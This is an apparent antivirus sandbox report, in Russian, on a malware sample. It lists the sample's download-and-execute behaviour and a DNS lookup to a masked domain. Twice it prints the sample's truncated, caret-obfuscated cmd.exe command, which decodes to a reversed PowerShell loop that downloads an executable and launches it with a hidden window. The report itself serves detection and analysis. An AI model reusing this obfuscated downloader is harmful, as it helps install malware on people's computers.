Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /V/C"s^e^t n^jv^M= ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ }^}^{hctac^}^;^k^aerb;n^TR^$ ^me^t^I^-ek^ovn^I;)nTR$^ ^,V^Hb^$(el^i^Fd^a^o^lnwo^D^.Bm^d^${^yrt^{)^hH^o$ ni^ V^Hb$(hcaer^o^f;'e^x^e^.^'+w^Us$^+^'^\'^...
Сетевая активность
UDP
- DNS ASK jb####0l23iyy.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V/C"s^e^t n^jv^M= ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ }^}^{hctac^}^;^k^aerb;n^TR^$ ^me^t^I^-ek^ovn^I;)nTR$^ ^,V^Hb^$(el^i^Fd^a^o^lnwo^D^.Bm^d^${^yrt^{)^hH^o$ ni^ V^Hb$(hcaer^o^f;'e^x^e^.^'+w^Us$^+^'^\'^...' (со скрытым окном)
